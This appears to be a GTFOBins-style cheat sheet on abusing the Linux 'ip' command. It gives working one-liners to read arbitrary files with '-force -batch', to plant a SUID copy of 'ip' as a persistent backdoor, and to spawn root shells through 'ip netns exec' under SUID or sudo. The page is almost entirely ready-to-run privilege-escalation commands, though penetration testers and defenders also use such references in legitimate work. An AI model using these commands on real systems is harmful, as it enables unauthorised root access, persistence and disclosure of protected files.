.. / ip

Star

• File read
• SUID
• Sudo

The read file content is corrupted by error prints.

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

• LFILE=file_to_read
  ip -force -batch "$LFILE"

SUID

It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor. If it is used to run sh -p, omit the -p argument on systems like Debian that allow the default sh shell to run with SUID privileges.

• sudo sh -c 'cp $(which ip) .; chmod +s ./ip'
  
  LFILE=file_to_read
  ./ip -force -batch "$LFILE"

• This only works for Linux with CONFIG_NET_NS=y.

  sudo sh -c 'cp $(which ip) .; chmod +s ./ip'
  
  ./ip netns add foo
  ./ip netns exec foo /bin/sh -p
  ./ip netns delete foo

Sudo

It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on sudo.

• LFILE=file_to_read
  sudo ip -force -batch "$LFILE"

• This only works for Linux with CONFIG_NET_NS=y.

  sudo ip netns add foo
  sudo ip netns exec foo /bin/sh
  sudo ip netns delete foo